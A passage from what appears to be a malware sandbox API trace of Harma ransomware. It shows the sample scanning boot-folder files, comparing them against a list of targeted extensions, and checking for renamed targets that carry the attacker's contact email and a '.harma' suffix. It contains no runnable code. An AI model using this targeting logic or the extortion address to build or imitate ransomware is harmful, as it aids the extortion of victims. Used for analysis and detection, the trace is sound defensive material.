Ptr=0x5f0420, Size=0x20) returned 0x63fae0 [0039.417] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0039.417] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0039.417] Wow64DisableWow64FsRedirection (in: OldValue=0x33aff58 | out: OldValue=0x33aff58*=0x0) returned 1 [0039.417] lstrlenW (lpString="kernel32.dll") returned 12 [0039.417] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fab8 | out: hHeap=0x5a0000) returned 1 [0039.417] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0039.417] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x63fae0 | out: hHeap=0x5a0000) returned 1 [0039.417] Sleep (dwMilliseconds=0x64) [0039.575] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0039.575] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0039.576] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0039.576] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=89168) returned 1 [0039.576] CloseHandle (hObject=0x164) returned 1 [0039.576] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0039.576] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.576] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.577] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0039.577] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0039.577] lstrlenW (lpString=".doc") returned 4 [0039.577] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.577] lstrlenW (lpString=".docx") returned 5 [0039.577] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.577] lstrlenW (lpString=".pdf") returned 4 [0039.577] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.577] lstrlenW (lpString=".xls") returned 4 [0039.577] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.577] lstrlenW (lpString=".xlsx") returned 5 [0039.577] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.577] lstrlenW (lpString=".ppt") returned 4 [0039.577] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.577] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0039.577] lstrlenW (lpString=".zip") returned 4 [0039.577] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.577] lstrlenW (lpString=".rar") returned 4 [0039.577] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.577] lstrlenW (lpString=".bz2") returned 4 [0039.577] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.577] lstrlenW (lpString=".7z") returned 3 [0039.577] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.577] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0039.577] lstrlenW (lpString=".dbf") returned 4 [0039.578] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.578] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0039.578] lstrlenW (lpString=".1cd") returned 4 [0039.578] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.578] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0039.578] lstrlenW (lpString=".jpg") returned 4 [0039.578] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.578] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0039.578] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0039.578] lstrlenW (lpString=".doc") returned 4 [0039.578] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.578] lstrlenW (lpString=".docx") returned 5 [0039.578] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.578] lstrlenW (lpString=".pdf") returned 4 [0039.578] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.578] lstrlenW (lpString=".xls") returned 4 [0039.578] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.578] lstrlenW (lpString=".xlsx") returned 5 [0039.578] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.578] lstrlenW (lpString=".ppt") returned 4 [0039.578] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.578] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0039.578] lstrlenW (lpString=".zip") returned 4 [0039.579] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.579] lstrlenW (lpString=".rar") returned 4 [0039.579] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.579] lstrlenW (lpString=".bz2") returned 4 [0039.579] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.579] lstrlenW (lpString=".7z") returned 3 [0039.579] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.579] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0039.579] lstrlenW (lpString=".dbf") returned 4 [0039.579] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.579] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0039.579] lstrlenW (lpString=".1cd") returned 4 [0039.579] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.579] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0039.579] lstrlenW (lpString=".jpg") returned 4 [0039.579] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.579] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0039.579] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0039.579] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0039.580] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=87616) returned 1 [0039.580] CloseHandle (hObject=0x164) returned 1 [0039.580] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0039.580] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.580] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.580] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0039.580] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0039.580] lstrlenW (lpString=".doc") returned 4 [0039.580] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.580] lstrlenW (lpString=".docx") returned 5 [0039.580] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.580] lstrlenW (lpString=".pdf") returned 4 [0039.581] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.581] lstrlenW (lpString=".xls") returned 4 [0039.581] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.581] lstrlenW (lpString=".xlsx") returned 5 [0039.581] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.581] lstrlenW (lpString=".ppt") returned 4 [0039.581] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.581] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0039.581] lstrlenW (lpString=".zip") returned 4 [0039.581] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.581] lstrlenW (lpString=".rar") returned 4 [0039.581] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.581] lstrlenW (lpString=".bz2") returned 4 [0039.581] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.581] lstrlenW (lpString=".7z") returned 3 [0039.581] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.581] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0039.581] lstrlenW (lpString=".dbf") returned 4 [0039.581] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.581] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0039.581] lstrlenW (lpString=".1cd") returned 4 [0039.581] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.581] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0039.581] lstrlenW (lpString=".jpg") returned 4 [0039.581] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.582] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0039.582] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0039.582] lstrlenW (lpString=".doc") returned 4 [0039.582] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.582] lstrlenW (lpString=".docx") returned 5 [0039.582] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.582] lstrlenW (lpString=".pdf") returned 4 [0039.582] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.582] lstrlenW (lpString=".xls") returned 4 [0039.582] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.582] lstrlenW (lpString=".xlsx") returned 5 [0039.582] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.582] lstrlenW (lpString=".ppt") returned 4 [0039.582] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.582] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0039.582] lstrlenW (lpString=".zip") returned 4 [0039.582] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.582] lstrlenW (lpString=".rar") returned 4 [0039.582] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.582] lstrlenW (lpString=".bz2") returned 4 [0039.582] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.582] lstrlenW (lpString=".7z") returned 3 [0039.582] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.582] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0039.582] lstrlenW (lpString=".dbf") returned 4 [0039.582] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.583] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0039.583] lstrlenW (lpString=".1cd") returned 4 [0039.583] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.583] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0039.583] lstrlenW (lpString=".jpg") returned 4 [0039.583] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.583] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0039.583] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0039.583] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0039.583] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=91712) returned 1 [0039.583] CloseHandle (hObject=0x164) returned 1 [0039.584] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0039.584] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.584] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.584] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0039.584] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0039.584] lstrlenW (lpString=".doc") returned 4 [0039.584] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.584] lstrlenW (lpString=".docx") returned 5 [0039.584] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.584] lstrlenW (lpString=".pdf") returned 4 [0039.584] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.584] lstrlenW (lpString=".xls") returned 4 [0039.584] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.584] lstrlenW (lpString=".xlsx") returned 5 [0039.584] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.584] lstrlenW (lpString=".ppt") returned 4 [0039.584] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.584] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0039.584] lstrlenW (lpString=".zip") returned 4 [0039.584] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.584] lstrlenW (lpString=".rar") returned 4 [0039.585] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.585] lstrlenW (lpString=".bz2") returned 4 [0039.585] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.585] lstrlenW (lpString=".7z") returned 3 [0039.585] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.585] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0039.585] lstrlenW (lpString=".dbf") returned 4 [0039.585] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.585] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0039.585] lstrlenW (lpString=".1cd") returned 4 [0039.585] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.585] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0039.585] lstrlenW (lpString=".jpg") returned 4 [0039.585] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.585] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0039.585] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0039.585] lstrlenW (lpString=".doc") returned 4 [0039.585] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.585] lstrlenW (lpString=".docx") returned 5 [0039.585] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.585] lstrlenW (lpString=".pdf") returned 4 [0039.585] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.585] lstrlenW (lpString=".xls") returned 4 [0039.585] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.586] lstrlenW (lpString=".xlsx") returned 5 [0039.586] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.586] lstrlenW (lpString=".ppt") returned 4 [0039.586] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.586] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0039.586] lstrlenW (lpString=".zip") returned 4 [0039.586] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.586] lstrlenW (lpString=".rar") returned 4 [0039.586] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.586] lstrlenW (lpString=".bz2") returned 4 [0039.586] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.586] lstrlenW (lpString=".7z") returned 3 [0039.586] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.586] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0039.586] lstrlenW (lpString=".dbf") returned 4 [0039.586] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.586] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0039.586] lstrlenW (lpString=".1cd") returned 4 [0039.586] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.586] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0039.586] lstrlenW (lpString=".jpg") returned 4 [0039.586] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.587] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0039.587] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0039.587] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0039.587] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=94800) returned 1 [0039.587] CloseHandle (hObject=0x164) returned 1 [0039.587] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0039.587] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.587] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.588] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0039.588] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0039.588] lstrlenW (lpString=".doc") returned 4 [0039.588] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.588] lstrlenW (lpString=".docx") returned 5 [0039.588] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.588] lstrlenW (lpString=".pdf") returned 4 [0039.588] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.588] lstrlenW (lpString=".xls") returned 4 [0039.588] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.588] lstrlenW (lpString=".xlsx") returned 5 [0039.588] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.589] lstrlenW (lpString=".ppt") returned 4 [0039.589] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.589] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0039.589] lstrlenW (lpString=".zip") returned 4 [0039.589] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.589] lstrlenW (lpString=".rar") returned 4 [0039.589] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.589] lstrlenW (lpString=".bz2") returned 4 [0039.589] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.589] lstrlenW (lpString=".7z") returned 3 [0039.590] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.590] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0039.590] lstrlenW (lpString=".dbf") returned 4 [0039.590] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.590] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0039.590] lstrlenW (lpString=".1cd") returned 4 [0039.590] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.590] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0039.590] lstrlenW (lpString=".jpg") returned 4 [0039.590] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.590] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0039.590] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0039.590] lstrlenW (lpString=".doc") returned 4 [0039.590] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.590] lstrlenW (lpString=".docx") returned 5 [0039.590] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.590] lstrlenW (lpString=".pdf") returned 4 [0039.590] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.590] lstrlenW (lpString=".xls") returned 4 [0039.590] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.590] lstrlenW (lpString=".xlsx") returned 5 [0039.590] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.590] lstrlenW (lpString=".ppt") returned 4 [0039.590] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.591] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0039.591] lstrlenW (lpString=".zip") returned 4 [0039.591] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.591] lstrlenW (lpString=".rar") returned 4 [0039.591] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.591] lstrlenW (lpString=".bz2") returned 4 [0039.591] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.591] lstrlenW (lpString=".7z") returned 3 [0039.591] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.591] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0039.591] lstrlenW (lpString=".dbf") returned 4 [0039.591] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.591] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0039.591] lstrlenW (lpString=".1cd") returned 4 [0039.591] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.591] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0039.591] lstrlenW (lpString=".jpg") returned 4 [0039.591] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.591] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0039.591] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0039.591] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0039.592] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=85056) returned 1 [0039.592] CloseHandle (hObject=0x164) returned 1 [0039.592] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0039.592] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.592] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.592] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0039.592] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0039.592] lstrlenW (lpString=".doc") returned 4 [0039.592] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.592] lstrlenW (lpString=".docx") returned 5 [0039.592] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.593] lstrlenW (lpString=".pdf") returned 4 [0039.593] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.593] lstrlenW (lpString=".xls") returned 4 [0039.593] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.593] lstrlenW (lpString=".xlsx") returned 5 [0039.593] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.593] lstrlenW (lpString=".ppt") returned 4 [0039.593] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.593] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0039.593] lstrlenW (lpString=".zip") returned 4 [0039.593] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.593] lstrlenW (lpString=".rar") returned 4 [0039.593] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.593] lstrlenW (lpString=".bz2") returned 4 [0039.593] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.593] lstrlenW (lpString=".7z") returned 3 [0039.593] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.593] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0039.593] lstrlenW (lpString=".dbf") returned 4 [0039.593] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.593] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0039.593] lstrlenW (lpString=".1cd") returned 4 [0039.593] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.593] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0039.593] lstrlenW (lpString=".jpg") returned 4 [0039.593] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.594] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0039.594] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0039.594] lstrlenW (lpString=".doc") returned 4 [0039.594] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.594] lstrlenW (lpString=".docx") returned 5 [0039.594] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.594] lstrlenW (lpString=".pdf") returned 4 [0039.594] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.594] lstrlenW (lpString=".xls") returned 4 [0039.594] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.594] lstrlenW (lpString=".xlsx") returned 5 [0039.594] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.594] lstrlenW (lpString=".ppt") returned 4 [0039.594] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.594] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0039.594] lstrlenW (lpString=".zip") returned 4 [0039.594] lstrcmpiW 